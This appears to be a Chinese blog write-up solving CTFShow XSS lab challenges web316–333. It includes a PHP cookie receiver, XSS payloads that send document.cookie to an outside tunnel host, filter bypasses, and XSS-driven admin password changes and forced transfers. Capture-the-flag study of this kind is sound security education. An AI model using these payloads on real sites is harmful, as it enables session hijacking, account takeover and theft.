CTFShow XSS

做题目前,需要先搭建一个网站,用于接收flag。
这里选择的是php语言。
网页(2.php)代码如下:

大概说一下作用,接收get传递来的参数,并写在flag.txt中

<?php 
$flag=$_GET['c'];
$file=fopen('flag.txt','w+');
fwrite($file,$flag);
fclose($file);
?>

因为这里是搭建在本地,所以还需要内网穿透,这里推荐的工具是Cpolar,非常地好用。

参考文章:

https://xz.aliyun.com/t/4067

web 316

payload语句:

<script>window.location.href='http://4e7a38a.r3.cpolar.top/2.php?c='+document.cookie</script>

过几秒后打开flag.txt文件,可以发现已经得到了flag.
image

web317

过滤了script
payload语句:

<body onload="window.location.href='http://fe6e643.cpolar.top/2.php?c='+document.cookie">

web318

过滤了img
payload语句和317一样

web319

payload和317一样

web320-326

过滤空格
payload语句

<body/onload="window.location.href='http://fe6e643.cpolar.top/2.php?c='+document.cookie">

web327

image
发件人和收件人都要填写admin,否则会发送失败,网络拥堵。
在信的内容里填写Payload语句

<body onload="window.location.href='http://fe6e643.cpolar.top/2.php?c='+document.cookie">

web328

输入用户名admin,密码ctfshowdacaiji
登录成功,在用户管理页面即可看到flag。

注册一个账户,在账号哪里填写payload语句,之后用这个账号去登录。

<script>window.location.href='http://fe6e643.cpolar.top/2.php?c='+document.cookie</script>

后台管理员如果查看登录页面,就会触发js代码,把管理员的cookie发送出去。
image
利用抓包工具修改用户管理界面的cookie,从而获得管理员的权限,查看到flag
image

web329

抓取到的cookie会快速失效。需要在失效前一步完成所有操作
image

JS indexof 方法https://www.w3school.com.cn/jsref/jsref_indexOf.asp

payload语句

<script>
$('.laytable-cell-1-0-1').each(function(index,value){
    if(value.innerHTML.indexOf('ctfshow{')==0){
        window.location.href='http://fe6e643.cpolar.top/2.php?c='+value.innerHTML; 
    }
});
</script>

web330

image

多了个修改密码界面,借用这个新功能修改密码

尝试使用之前的admin ctfshowdacaiji登录,登录失败,尝试修改管理员密码。
这次触发script语句的地方在用户名那里。
注册一个账号,用户名是payload语句,密码随便写,比如123。

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

之后用这个账号和密码去登录一下。登录完成后,管理员admin的密码就被成功修改成123了,此时即可成功登录。

web331

这次改成了post提交修改密码

注册一个账号,用户名和密码全部填写成payload
payload语句:

<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>

web332-333

image

看了大佬的解法,这里的转账汇款存在逻辑漏洞,可以转负值。可以直接通过转负值给自己加钱。

转账的数据包:

POST /api/amount.php HTTP/1.1
Host: 4d7c45ce-f143-4223-9112-c8b9252ee7ee.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://4d7c45ce-f143-4223-9112-c8b9252ee7ee.challenge.ctf.show/transfer.php
Cookie: PHPSESSID=o5fl99p64lkmj65shn593sqd4i
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

u=test&a=1000000

或者,通过xss,让管理员admin给自己转钱。
先注册一个正经账号,用户名叫xxx,密码123
之后再注册一个带payload语句的账号。
payload语句:

<script>$.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'xxx',a:'10000'}});</script>

web333和上面一样的做法,不过这里就不可以转负数金额了。

posted @ 2022-09-29 23:04  请去看诡秘之主  阅读(428)  评论(0编辑  收藏  举报